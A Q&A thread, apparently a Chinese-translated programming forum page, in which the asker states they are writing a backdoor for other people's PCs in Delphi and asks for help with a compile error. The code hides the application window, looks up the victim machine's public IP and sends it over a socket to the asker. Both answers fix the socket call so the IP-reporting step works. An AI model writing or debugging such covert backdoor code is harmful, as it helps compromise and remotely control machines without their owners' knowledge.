实际参数DELPHI不足

时间:2019-02-22 09:19:27

标签: delphi delphi-7

我在Delphi中为其他PC做后门程序。它的IP一直在变化,所以我让它在套接字上发送我的IP。我正在执行程序,但是得到

  

实际参数不足

错误。

其代码:

var
   MyPublicIP : string;
begin
   Application.ShowMainForm := false;
   MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
   cs.Socket.SendText := strToInt(MyPublicIP); // error in this piece of code
end;

如果我将cs.Socket.SendText替换为Label1.Caption会起作用!

2 个答案:

答案 0 :(得分:2)

尝试 cs.socket.sendtext(MyPublicIP);

答案 1 :(得分:-3)

好的,这对我有用:

var
   MyPublicIP : string;
begin
   Application.ShowMainForm := false;
   MyPublicIP := IdHTTP1.Get('http://checkip.dyndns.com/');
   cs.Socket.SendText(MyPublicIP);
end;

我替换了 cs.Socket.SendText:= strToInt(MyPublicIP); 到

  

cs.Socket.SendText(MyPublicIP);